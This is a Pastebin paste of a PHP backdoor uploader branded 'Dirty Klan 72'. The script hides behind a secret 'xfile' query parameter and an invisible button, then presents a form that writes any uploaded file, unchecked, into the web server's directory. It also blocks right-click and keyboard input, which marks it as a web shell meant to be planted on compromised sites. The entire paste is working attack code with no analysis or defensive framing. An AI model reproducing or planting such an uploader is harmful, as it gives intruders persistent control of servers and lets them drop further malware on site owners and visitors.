Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- echo'
- <style>
- .none{
- display:none;
- }
- </style>
- <form method="get">
- <input type="submit" name="xfile" class="none">
- </form>';
- if($_GET['xfile']){
- if(isset($_POST['btn'])) {
- $nama= $_FILES['upl']['name'];
- $lokasi = $_FILES['upl']['tmp_name'];
- $folder="";
- if(move_uploaded_file($lokasi,$folder.$nama)) {
- echo"$lokasi";
- }
- else{
- echo'Fail</br>';
- }
- }
- echo'
- <!DOCTYPE html>
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <meta name="keywords" content="Codename">
- <meta name="viewport" content="width=width-device,initial-scale=1">
- <link rel="icon" href="https://blog.rootshell.be/wp-content/uploads/2012/02/blackhat-nl.png">
- <title>DK72</title>
- ></head> <body oncontextmenu="return false" onkeydown="return false" onmousedown="return false">
- <center>
- <font color="red" class="font1">*Dirty </font><font class="font1" color="white">Klan 72*
- <form action="" method="post" enctype="multipart/form-data">
- <input type="file" name="upl" />
- <button type="submit" name="btn">Upload</button> </form></center>
- <style>
- body{
- background:#000000;
- text-align: left;
- color:#000000;
- }
- .font1{
- font-family: "Small Fonts";
- font-size: 53px;
- }
- </style>';
- } ?>
Advertisement
Add Comment
Please, Sign In to add comment